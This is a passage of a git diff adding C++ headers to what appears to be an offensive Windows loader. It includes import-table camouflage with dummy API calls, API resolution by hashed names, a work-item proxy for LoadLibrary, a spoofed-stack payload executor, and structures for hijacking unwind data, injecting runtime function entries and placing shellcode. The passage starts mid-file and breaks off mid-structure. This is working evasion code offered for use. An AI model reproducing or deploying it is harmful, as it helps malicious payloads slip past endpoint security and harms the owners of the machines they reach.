ExecuteWithSpoofedStack( + _In_ PVOID pPayload, + _In_ DWORD dwPayloadSize + ); +} + +/* From Proxy.cpp */ +namespace Proxy { + PVOID WorkItemLoadLibrary( + _In_ PWSTR LibraryName + ); + NTSTATUS WorkItemNtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID* BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtection, + OUT PULONG OldProtection + ); +} + +#endif /* COMMON.H */ \ No newline at end of file diff --git a/include/IatCamouflage.h b/include/IatCamouflage.h new file mode 100644 index 0000000..85bf763 --- /dev/null +++ b/include/IatCamouflage.h @@ -0,0 +1,61 @@ +/* IatCamouflage.h */ +#pragma once + +#include +#include "Structs.h" +#include "Primitives.h" +#include "Common.h" + +/*================================================ +@ CompileTimeSeed Function +================================================*/ +int RandomCompileTimeSeed(void) { + + return '0' * -40271 + + __TIME__[7] * 1 + + __TIME__[6] * 10 + + __TIME__[4] * 60 + + __TIME__[3] * 600 + + __TIME__[1] * 3600 + + __TIME__[0] * 36000; +} + +/*================================================ +@ AllocateDummyBuffer Function +================================================*/ +PVOID AllocateDummyBuffer( + PVOID* ppAddress +) { + PVOID Address = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xFF); + if (!Address) + return nullptr; + + *(int*)Address = RandomCompileTimeSeed() % 0xFF; + + *ppAddress = Address; + return Address; +} + +/*================================================ +@ IatCamouflage Function +================================================*/ +VOID IatCamouflage() { + + PVOID Address = nullptr; + int* X = (int*)AllocateDummyBuffer(&Address); + + if (*X > 350) { + + unsigned __int64 i = MessageBoxA(NULL, NULL, NULL, NULL); + i = SetCriticalSectionSpinCount(NULL, NULL); + i = GetWindowContextHelpId(NULL); + i = GetWindowLongPtrW(NULL, NULL); + i = RegisterClassW(NULL); + i = IsWindowVisible(NULL); + i = ConvertDefaultLocale(NULL); + i = MultiByteToWideChar(NULL, NULL, NULL, NULL, NULL, NULL); + i = IsDialogMessageW(NULL, NULL); + } + + Macro::DeletePtr(Address); +} \ No newline at end of file diff --git a/include/InitializeAPI.h b/include/InitializeAPI.h new file mode 100644 index 0000000..a10b861 --- /dev/null +++ b/include/InitializeAPI.h @@ -0,0 +1,92 @@ +/* InitializeAPI.h */ +#pragma once + +#ifndef INITIALIZEAPI_H +#define INITIALIZEAPI_H + +#include +#include "Primitives.h" +#include "Debug.h" +#include "Structs.h" +#include "Common.h" + +namespace Win32API { + + inline BOOL InitializeWin32APIs() { + + PVOID Kernel32 = nullptr; + PVOID Ntdll = nullptr; + PVOID AdvApi = nullptr; + WCHAR AdvStr[] = { L'a', L'd', L'v', L'a', L'p', L'i', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' }; + +#ifdef DEBUG + DBGPRINT("[*] Initializing Win32 APIs \n"); +#endif + + if (!(Kernel32 = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")))) { +#ifdef DEBUG + DBGPRINT("[-] LdrGetModuleByHash -> Failed To Get Kernel32 Handle - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; + } + + if (!(Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")))) { +#ifdef DEBUG + DBGPRINT("[-] LdrGetModuleByHash -> Failed To Get Ntdll Handle - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; + } + + g_Win32.K32.LoadLibraryW = (decltype(g_Win32.K32.LoadLibraryW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("LoadLibraryW")); + g_Win32.K32.GetModuleHandleW = (decltype(g_Win32.K32.GetModuleHandleW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("GetModuleHandleW")); + g_Win32.Nt.RtlQueueWorkItem = (decltype(g_Win32.Nt.RtlQueueWorkItem))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlQueueWorkItem")); + + if (!g_Win32.K32.LoadLibraryW || !g_Win32.K32.GetModuleHandleW || !g_Win32.Nt.RtlQueueWorkItem) + return FALSE; + + if (!(AdvApi = Proxy::WorkItemLoadLibrary(AdvStr))) { +#ifdef DEBUG + DBGPRINT("[-] WorkItemLoadLibrary -> Failed To Load AdvApi - %s.%d \n", GET_FILENAME(__FILE__), __LINE__); +#endif + return FALSE; + } + + g_Win32.K32.WaitForSingleObject = (decltype(g_Win32.K32.WaitForSingleObject))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObject")); + + if (!g_Win32.K32.WaitForSingleObject) + return FALSE; + + g_Win32.Nt.NtCreateEvent = (decltype(g_Win32.Nt.NtCreateEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtCreateEvent")); + g_Win32.Nt.NtQueryInformationProcess = (decltype(g_Win32.Nt.NtQueryInformationProcess))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtQueryInformationProcess")); + g_Win32.Nt.NtSetEvent = (decltype(g_Win32.Nt.NtSetEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetEvent")); + g_Win32.Nt.NtWaitForSingleObject = (decltype(g_Win32.Nt.NtWaitForSingleObject))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtWaitForSingleObject")); + g_Win32.Nt.RtlAcquireSRWLockExclusive = (decltype(g_Win32.Nt.RtlAcquireSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); + g_Win32.Nt.RtlAddFunctionTable = (decltype(g_Win32.Nt.RtlAddFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); + g_Win32.Nt.RtlDeleteFunctionTable = (decltype(g_Win32.Nt.RtlDeleteFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlDeleteFunctionTable")); + g_Win32.Nt.RtlLookupFunctionEntry = (decltype(g_Win32.Nt.RtlLookupFunctionEntry))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); + g_Win32.Nt.RtlReleaseSRWLockExclusive = (decltype(g_Win32.Nt.RtlReleaseSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); + g_Win32.Nt.RtlVirtualUnwind = (decltype(g_Win32.Nt.RtlVirtualUnwind))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlVirtualUnwind")); + + if (!g_Win32.Nt.NtCreateEvent || !g_Win32.Nt.NtQueryInformationProcess || + !g_Win32.Nt.NtSetEvent || !g_Win32.Nt.RtlAcquireSRWLockExclusive || + !g_Win32.Nt.RtlAddFunctionTable || !g_Win32.Nt.RtlDeleteFunctionTable || + !g_Win32.Nt.RtlLookupFunctionEntry || !g_Win32.Nt.RtlReleaseSRWLockExclusive || + !g_Win32.Nt.RtlVirtualUnwind || !g_Win32.Nt.NtWaitForSingleObject) + return FALSE; + + g_Win32.AdvApi32.RegCloseKey = (decltype(g_Win32.AdvApi32.RegCloseKey))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegCloseKey")); + g_Win32.AdvApi32.RegOpenKeyExW = (decltype(g_Win32.AdvApi32.RegOpenKeyExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegOpenKeyExW")); + g_Win32.AdvApi32.RegQueryValueExW = (decltype(g_Win32.AdvApi32.RegQueryValueExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegQueryValueExW")); + g_Win32.AdvApi32.SystemFunction032 = (decltype(g_Win32.AdvApi32.SystemFunction032))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("SystemFunction032")); + + if (!g_Win32.AdvApi32.RegCloseKey || !g_Win32.AdvApi32.RegOpenKeyExW || !g_Win32.AdvApi32.RegQueryValueExW || !g_Win32.AdvApi32.SystemFunction032) + return FALSE; + +#ifdef DEBUG + DBGPRINT("[+] Success \n"); +#endif + return TRUE; + } +} + +#endif diff --git a/include/Primitives.h b/include/Primitives.h new file mode 100644 index 0000000..d7a46a8 --- /dev/null +++ b/include/Primitives.h @@ -0,0 +1,195 @@ +/* Primivites.h */ +#pragma once + +/* HEADER GUARD */ +#ifndef PRIMIVITES_H +#define PRIMIVITES_H + +#include +#include "Structs.h" + +/*================================================== +@ ExprHashStrDjb2 Function +# Hashes the provided string via djb2 algorithm +# at compile time. Supports both ANSI & UNICODE +====================================================*/ +namespace Hash { + template struct CleanType; + template struct CleanType { using type = T; }; + template struct CleanType { using type = T; }; + + template + constexpr ULONG ExprHashStrDjb2(_In_ T StringToHash) { + + ULONG Hash = 5448; + ULONG Seed = 7; + constexpr auto XorKey = 0x1337u; + + using CharType = typename CleanType::type; + CharType Char = 0; + + if (!StringToHash) { + return 0; + } + + while ((Char = *StringToHash++) != 0) { + + /* Convert current character to uppercase */ + if (Char >= 'a' && Char <= 'z') { + Char -= 0x20; + } + + /* Append Hash */ + Hash = ((Hash << Seed) + Hash) + Char; + } + + return Hash ^ XorKey; + } +} + +/*================================================== +@ CRT (C Runtime Library) Function Replacements +====================================================*/ +namespace Primitive { + + /* memcpy */ + inline VOID MemoryCopy(_In_ PVOID pDestination, _In_ PVOID pSource, _In_ SIZE_T sSize) { + + PBYTE D = (PBYTE)pDestination; + PBYTE S = (PBYTE)pSource; + + while (sSize--) { + *D++ = *S++; + } + } + + /* memset */ + inline PVOID MemorySet(_In_ PVOID pDestination, _In_ INT iValue, _In_ SIZE_T sCount) { + + PBYTE D = (PBYTE)pDestination; + + while (sCount--) { + + *D = (BYTE)iValue; + D++; + } + + return pDestination; + } + + /* strlen (Supports both ANSI & UNICODE) */ + template + inline SIZE_T StringLength(_In_ T String) { + + auto Ptr = String; + + if (!String) return 0; + + while (*Ptr) { + Ptr++; + } + + return (SIZE_T)(Ptr - String); + } + + /* memcmp */ + inline INT MemoryCompare(_In_ const VOID* Ptr1, _In_ const VOID* Ptr2, _In_ SIZE_T Num) { + + const unsigned char* P1 = (const unsigned char*)Ptr1; + const unsigned char* P2 = (const unsigned char*)Ptr2; + + while (Num--) { + if (*P1 != *P2) + return *P1 - *P2; + P1++; + P2++; + } + + return 0; + } + + /* strrchr */ + inline PCHAR StringFindLastChar(_In_ PCHAR String, _In_ INT Char) { + + PCHAR Last = nullptr; + + if (!String) return nullptr; + + while (*String) { + if (*String == (CHAR)Char) + Last = String; + String++; + } + + return Last; + } + + /* Other Helpers */ + inline VOID WideToAnsi(_In_ PWSTR Wide, OUT PCSTR Ansi, _In_ SIZE_T MaxCount) { + + if (!Wide || !Ansi || !MaxCount) + return; + + SIZE_T Index = 0; + + while (Wide[Index] != L'\0' && Index < (MaxCount - 1)) { + + ((PCHAR)Ansi)[Index] = ((CHAR)Wide[Index]); + Index++; + } + + ((PCHAR)Ansi)[Index] = '\0'; + } + + inline VOID AnsiToWide(_In_ PCSTR Ansi, OUT PWSTR Wide, _In_ SIZE_T MaxCount) { + + if (!Ansi || !Wide || !MaxCount) + return; + + SIZE_T Index = 0; + + while (Ansi[Index] != '\0' && Index < (MaxCount - 1)) { + + Wide[Index] = (WCHAR)Ansi[Index]; + Index++; + } + + Wide[Index] = L'\0'; + } +} + +inline void* operator new(size_t size) { + return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size); +} + +inline void operator delete(void* ptr) noexcept { + if (ptr) HeapFree(GetProcessHeap(), 0, ptr); +} + +inline void operator delete(void* ptr, size_t) noexcept { + if (ptr) HeapFree(GetProcessHeap(), 0, ptr); +} + +/*================================================== +@ Macros to provide better readability for the reader +====================================================*/ +namespace Macro { + + template + inline VOID DeleteHandle(T& H) { + if (H && H != INVALID_HANDLE_VALUE) { + CloseHandle(H); + H = nullptr; + } + } + + template + inline VOID DeletePtr(T& PTR) { + if (PTR != nullptr) { + HeapFree(GetProcessHeap(), 0, PTR); + PTR = nullptr; + } + } +} + +#endif // PRIMIVITES_H diff --git a/include/Structs.h b/include/Structs.h new file mode 100644 index 0000000..f6b99df --- /dev/null +++ b/include/Structs.h @@ -0,0 +1,1495 @@ +#pragma once +#ifndef STRUCTS_H +#define STRUCTS_H + +#include + +/*=================================== +# Status Codes +=====================================*/ +#define STATUS_SUCCESS 0x00000000 +#define STATUS_UNSUCCESSFULL 0xC0000001 +#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 +#define STATUS_NOT_FOUND 0xC0000225 + +/*=================================== +# NT Macros +=====================================*/ +#define NtCurrentProcess() ((HANDLE)-1) +#define NtCurrentThread() ((HANDLE)-2) +#define NtCurrentTeb() ((TEB*)__readgsqword(0x30)) +#define NT_SUCCESS(STATUS) (((NTSTATUS)(STATUS)) >= STATUS_SUCCESS) +#define CURRENT_PROCESS ((HANDLE)0xFFFFFFFFFFFFFFFF) + +/*=================================== +# Alignment Macros +=====================================*/ +#define ALIGN_UP(x, a) (((x) + ((a) - 1)) & ~((a) - 1)) +#define ALIGN_UP_POW2(x, align) (((x) + ((align) - 1)) & ~((align) - 1)) + +/*=================================== +# Bit Macros +=====================================*/ +#define BitVal(data, y) ((data >> y) & 1) +#define BitChainInfo(data) BitVal(data, 2) +#define BitUHandler(data) BitVal(data, 1) +#define BitEHandler(data) BitVal(data, 0) + +/*=================================== +# Unwind Macros +=====================================*/ +#define MAX_FRAMES 154 +#define HIDWORD(l) ((DWORD)(((DWORDLONG)(l) >> 32) & 0xFFFFFFFF)) +#define Version(data) (BitVal(data, 4) * 2 + BitVal(data, 3)) + +#define GetUnwindCodeEntry(info, index) \ + ((info)->UnwindCode[index]) + +#define GetLanguageSpecificDataPtr(info) \ + ((PVOID)&GetUnwindCodeEntry((info), ((info)->CountOfCodes + 1) & ~1)) + +#define GetExceptionHandlerPtr(info) \ + ((PULONG)GetLanguageSpecificDataPtr(info) - 1) + +#define GetExceptionHandler(base, info) \ + ((PVOID)((ULONG64)(base) + *GetExceptionHandlerPtr(info))) + +#define GetChainedFunctionEntry(base, info) \ + ((PRUNTIME_FUNCTION)GetExceptionHandlerPtr(info)) + +#define GetExceptionDataPtr(info) \ + GetLanguageSpecificDataPtr(info) + +/*=================================== +# Flags +=====================================*/ +#define UNWIND_DATA_TAMPER 0x000f0000 +#define UNWIND_DATA_HIJACK 0x0000f000 +#define RT_FUNCTION_HIJACK 0x00000f00 +#define RT_FUNCTION_INJECT 0x000000f0 +#define RTFI_JIT_SYSINFORMER 0x0000000f +#define RTFI_JIT_WINDBG 0x0f000000 +#define RTFI_JIT_NORMAL_VA 0x00f00000 + +/*=================================== +# Call Instruction Patterns +=====================================*/ +#define CALL_NEAR 0xE8 +#define CALL_NEAR_QPTR 0xFF15 +#define CALL_FAR_QPTR 0x0015FF48 + +/*=================================== +# Unwind Flags +=====================================*/ +#ifndef UNW_FLAG_EHANDLER +#define UNW_FLAG_EHANDLER 0x01 +#define UNW_FLAG_UHANDLER 0x02 +#define UNW_FLAG_CHAININFO 0x04 +#endif + +/*=================================== +# Function Pointer Typedefs +=====================================*/ +typedef VOID(NTAPI* fnLdrProtectMrdata)(_In_ BOOL Protect); +typedef VOID(NTAPI* fnRtlAcquireSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock); +typedef VOID(NTAPI* fnRtlReleaseSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock); + +/*=================================== +# Typedefs +=====================================*/ +typedef unsigned char UBYTE; +typedef unsigned char* PUBYTE; + +/*=================================== +# Unwind Structures +=====================================*/ +typedef union _UNWIND_CODE { + struct { + UBYTE CodeOffset; + UBYTE UnwindOp : 4; + UBYTE OpInfo : 4; + }; + USHORT FrameOffset; +} UNWIND_CODE, *PUNWIND_CODE; + +typedef struct _UNWIND_INFO { + UBYTE Version : 3; + UBYTE Flags : 5; + UBYTE SizeOfProlog; + UBYTE CountOfCodes; + UBYTE FrameRegister : 4; + UBYTE FrameOffset : 4; + UNWIND_CODE UnwindCode[1]; +} UNWIND_INFO, *PUNWIND_INFO; + +typedef struct _UNWIND_BACKUP { + PUNWIND_INFO pOriginalLocation; + DWORD dwSize; + UBYTE Data[1]; +} UNWIND_BACKUP, *PUNWIND_BACKUP; + +typedef struct _RUNTIME_FUNCTION_BACKUP { + PRUNTIME_FUNCTION pOriginalLocation; + RUNTIME_FUNCTION Data; +} RUNTIME_FUNCTION_BACKUP, *PRUNTIME_FUNCTION_BACKUP; + +typedef struct _UNWIND_BUILD_PARAMS { + DWORD dwStackSize; + UBYTE numInstructions; + UBYTE flags; + BOOL useFpreg; + UBYTE fpReg; + UBYTE fpOffset; +} UNWIND_BUILD_PARAMS, *PUNWIND_BUILD_PARAMS; + +/*=================================== +# Unwind Op Codes +=====================================*/ +typedef enum _UNWIND_OP_CODES { + // x86_64. https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64. + UWOP_PUSH_NONVOL = 0, + UWOP_ALLOC_LARGE, // 1 + UWOP_ALLOC_SMALL, // 2 + UWOP_SET_FPREG, // 3 + UWOP_SAVE_NONVOL, // 4 + UWOP_SAVE_NONVOL_BIG, // 5 + UWOP_EPILOG, // 6 + UWOP_SPARE_CODE, // 7 + UWOP_SAVE_XMM128, // 8 + UWOP_SAVE_XMM128BIG, // 9 + UWOP_PUSH_MACH_FRAME, // 10 +} UNWIND_CODE_OPS; + +/* --------------------------------------------------------------- + * Change record types + * --------------------------------------------------------------- */ +typedef enum _BYOUD_CHANGE_TYPE { + BCT_NONE = 0, + BCT_CACHE_ZERO, + BCT_PDATA_PROTECT, + BCT_PDATA_NOACCESS, + BCT_INVERTED_TABLE_SHRINK, + BCT_DYNAMIC_TABLE_ADD, + BCT_DYNAMIC_TABLE_TYPE, + BCT_RUNTIME_FUNCTION, + BCT_UNWIND_INFO, + BCT_SHELLCODE_APPENDED, + BCT_SHELLCODE_VIRTUALALLOC, +} BYOUD_CHANGE_TYPE; + +/* --------------------------------------------------------------- + * Per-change payload + * --------------------------------------------------------------- */ +typedef struct _BYOUD_CHANGE { + BYOUD_CHANGE_TYPE Type; + + union { + struct { ULONG64 Address; DWORD OldValue; } Cache; + struct { PVOID pModule; PVOID Base; SIZE_T Size; DWORD OldProtect; } Pdata; + struct { PVOID pModule; ULONG OldImageSize; } InvertedTable; + struct { PRUNTIME_FUNCTION pFunctionTable; } DynamicAdd; + struct { PVOID pEntry; DWORD OldType; } DynamicType; + struct { + PVOID pModule; PRUNTIME_FUNCTION pOriginalLocation; + RUNTIME_FUNCTION OldValue; + } RuntimeFunction; + struct { PVOID pLocation; PVOID pBackup; DWORD Size; } UnwindInfo; + struct { PVOID pModule; PVOID pAddress; DWORD Size; } ShellcodeAppended; + struct { PVOID pAddress; SIZE_T Size; } ShellcodeVA; + } u; +} BYOUD_CHANGE, * PBYOUD_CHANGE; + +/* --------------------------------------------------------------- + * Change log + * --------------------------------------------------------------- */ +#define BYOUD_MAX_CHANGES 32 + +typedef struct _BYOUD_CONTEXT { + BYOUD_CHANGE Changes[BYOUD_MAX_CHANGES]; + DWORD Count; + DWORD Technique; + PVOID pTargetModule; + PVOID pShellcodeAddress; + DWORD ShellcodeSize; +} BYOUD_CONTEXT, * PBYOUD_CONTEXT; + + +/*=================================== +# Register Numbers +=====================================*/ +typedef enum _REGISTERS { + RAX = 0, RCX, RDX, RBX, + RSP, RBP, RSI, RDI, + R8, R9, R10, R11, + R12, R13, R14, R15 +} REGISTERS; + +/*=================================== +# Min Context +=====================================*/ +typedef struct _MIN_CTX { + DWORD64 Rax; + DWORD64 Rcx; + DWORD64 Rdx; + DWORD64 Rbx; + DWORD64 Rsp; + DWORD64 Rbp; + DWORD64 Rsi; + DWORD64 Rdi; + DWORD64 R8; + DWORD64 R9; + DWORD64 R10; + DWORD64 R11; + DWORD64 R12; + DWORD64 R13; + DWORD64 R14; + DWORD64 R15; + DWORD64 Rip; + DWORD64 Reserved; + DWORD64 StackSize; +} MIN_CTX, *PMIN_CTX; + +/*=================================== +# Section Info +=====================================*/ +typedef struct _SECTION_INFO { + PVOID VirtualAddress; + SIZE_T VirtualSize; +} SECTION_INFO, *PSECTION_INFO; + +/*=================================== +# Dynamic Function Table +=====================================*/ +typedef struct _RTL_BALANCED_NODE { + union { + struct _RTL_BALANCED_NODE* Children[2]; + struct { + struct _RTL_BALANCED_NODE* Left; + struct _RTL_BALANCED_NODE* Right; + }; + }; + union { + UCHAR Red : 1; + UCHAR Balance : 2; + ULONG64 ParentValue; + }; +} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; + +typedef struct _DYNAMIC_FUNCTION_TABLE { + LIST_ENTRY Links; + PRUNTIME_FUNCTION FunctionTable; + LARGE_INTEGER TimeStamp; + ULONG64 MinimumAddress; + ULONG64 MaximumAddress; + ULONG64 BaseAddress; + PVOID Callback; + PVOID Context; + PWSTR OutOfProcessCallbackDll; + DWORD Type; + DWORD EntryCount; +} DYNAMIC_FUNCTION_TABLE, *PDYNAMIC_FUNCTION_TABLE; + +/*=================================== +# Inverted Function Table +=====================================*/ +typedef struct _INVERTED_FUNCTION_TABLE_ENTRY { + PVOID ExceptionDirectory; + PVOID ImageBase; + ULONG ImageSize; + ULONG ExceptionDirectorySize; +} INVERTED_FUNCTION_TABLE_ENTRY, *PINVERTED_FUNCTION_TABLE_ENTRY; + +typedef struct _INVERTED_FUNCTION_TABLE { + ULONG Count; + ULONG MaxCount; + ULONG Epoch; + UCHAR Overflow; + INVERTED_FUNCTION_TABLE_ENTRY Entries[0x100]; +} INVERTED_FUNCTION_TABLE, *PINVERTED_FUNCTION_TABLE; + +/*=================================== +# Callgate Params +=====================================*/ +typedef struct _SHADOWGATE_PARAMS { + UINT64 pFunction; + UINT64 dwMinimumFrameSize; + UINT64 argc; + UINT64 argv[1]; +} SHADOWGATE_PARAMS, *PSHADOWGATE_PARAMS; + +typedef struct _SHADOWGATE_COPY_INFO { + PVOID pSourceAddress; + DWORD dwSize; + PVOID pCopiedAddress; +} SHADOWGATE_COPY_INFO, *PSHADOWGATE_COPY_INFO; + +typedef ULONG_PTR(*ShadowGateFn)(PSHADOWGATE_PARAMS); + +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; + +typedef struct _STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING, *PSTRING; + +#define PROCESSOR_FEATURE_MAX 64 +#define USER_SHARED_DATA ( ( PKUSER_SHARED_DATA ) 0x7FFE0000 ) +#define DELAY_TICKS 10000 + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, * PKSYSTEM_TIME; + +typedef enum _NT_PRODUCT_TYPE +{ + NtProductWinNt = 1, + NtProductLanManNt = 2, + NtProductServer = 3 +} NT_PRODUCT_TYPE; + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE +{ + StandardDesign, + NEC98x86, + EndAlternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +typedef struct _RTL_HEAP_WALK_ENTRY +{ + PVOID DataAddress; + SIZE_T DataSize; + UCHAR OverheadBytes; + UCHAR SegmentIndex; + USHORT Flags; + union + { + struct + { + SIZE_T Settable; + USHORT TagIndex; + USHORT AllocatorBackTraceIndex; + ULONG Reserved[2]; + } Block; + struct + { + ULONG CommittedSize; + ULONG UnCommittedSize; + PVOID FirstEntry; + PVOID LastEntry; + } Segment; + }; +} RTL_HEAP_WALK_ENTRY, * PRTL_HEAP_WALK_ENTRY; + +typedef struct _KUSER_SHARED_DATA { + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + KSYSTEM_TIME InterruptTime; + KSYSTEM_TIME SystemTime; + KSYSTEM_TIME TimeZoneBias; + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + WCHAR NtSystemRoot[260]; + ULONG MaxStackTraceDepth; + ULONG CryptoExponent; + ULONG TimeZoneId; + ULONG LargePageMinimum; + ULONG AitSamplingValue; + ULONG AppCompatFlag; + ULONGLONG RNGSeedVersion; + ULONG GlobalValidationRunlevel; + LONG TimeZoneBiasStamp; + ULONG NtBuildNumber; + NT_PRODUCT_TYPE NtProductType; + BOOLEAN ProductTypeIsValid; + BOOLEAN Reserved0[1]; + USHORT NativeProcessorArchitecture; + ULONG NtMajorVersion; + ULONG NtMinorVersion; + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + ULONG Reserved1; + ULONG Reserved3; + ULONG TimeSlip; + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + ULONG BootId; + LARGE_INTEGER SystemExpirationDate; + ULONG SuiteMask; + BOOLEAN KdDebuggerEnabled; + union { + UCHAR MitigationPolicies; + struct { + UCHAR NXSupportPolicy : 2; + UCHAR SEHValidationPolicy : 2; + UCHAR CurDirDevicesSkippedForDlls : 2; + UCHAR Reserved : 2; + }; + }; + USHORT CyclesPerYield; + ULONG ActiveConsoleId; + ULONG DismountCount; + ULONG ComPlusPackage; + ULONG LastSystemRITEventTickCount; + ULONG NumberOfPhysicalPages; + BOOLEAN SafeBootMode; + union { + UCHAR VirtualizationFlags; + struct { + UCHAR ArchStartedInEl2 : 1; + UCHAR QcSlIsSupported : 1; + }; + }; + UCHAR Reserved12[2]; + union { + ULONG SharedDataFlags; + struct { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgLkgEnabled : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgConsoleBrokerEnabled : 1; + ULONG DbgSecureBootEnabled : 1; + ULONG DbgMultiSessionSku : 1; + ULONG DbgMultiUsersInSessionSku : 1; + ULONG DbgStateSeparationEnabled : 1; + ULONG SpareBits : 21; + } DUMMYSTRUCTNAME2; + } DUMMYUNIONNAME2; + ULONG DataFlagsPad[1]; + ULONGLONG TestRetInstruction; + LONGLONG QpcFrequency; + ULONG SystemCall; + ULONG Reserved2; + ULONGLONG SystemCallPad[2]; + union { + KSYSTEM_TIME TickCount; + ULONG64 TickCountQuad; + struct { + ULONG ReservedTickCountOverlay[3]; + ULONG TickCountPad[1]; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME3; + ULONG Cookie; + ULONG CookiePad[1]; + LONGLONG ConsoleSessionForegroundProcessId; + ULONGLONG TimeUpdateLock; + ULONGLONG BaselineSystemTimeQpc; + ULONGLONG BaselineInterruptTimeQpc; + ULONGLONG QpcSystemTimeIncrement; + ULONGLONG QpcInterruptTimeIncrement; + UCHAR QpcSystemTimeIncrementShift; + UCHAR QpcInterruptTimeIncrementShift; + USHORT UnparkedProcessorCount; + ULONG EnclaveFeatureMask[4]; + ULONG TelemetryCoverageRound; + USHORT UserModeGlobalLogger[16]; + ULONG ImageFileExecutionOptions; + ULONG LangGenerationCount; + ULONGLONG Reserved4; + ULONGLONG InterruptTimeBias; + ULONGLONG QpcBias; + ULONG ActiveProcessorCount; + UCHAR ActiveGroupCount; + UCHAR Reserved9; + union { + USHORT QpcData; + struct { + UCHAR QpcBypassEnabled; + UCHAR QpcShift; + }; + }; + LARGE_INTEGER TimeZoneBiasEffectiveStart; + LARGE_INTEGER TimeZoneBiasEffectiveEnd; + XSTATE_CONFIGURATION XState; + KSYSTEM_TIME FeatureConfigurationChangeStamp; + ULONG Spare; + ULONG64 UserPointerAuthMask; +} KUSER_SHARED_DATA, * PKUSER_SHARED_DATA; + + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x00000800L +#define OBJ_DONT_REPARSE 0x00001000L +#define OBJ_VALID_ATTRIBUTES 0x00001FF2L + +typedef struct _BASE_RELOCATION_ENTRY { + WORD Offset : 12; + WORD Type : 4; +} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; + + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT, * PSECTION_INHERIT; + + +#define RTL_MAX_DRIVE_LETTERS 32 + + + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + UNICODE_STRING DosPath; + +} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; + +} CURDIR, * PCURDIR; + + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + 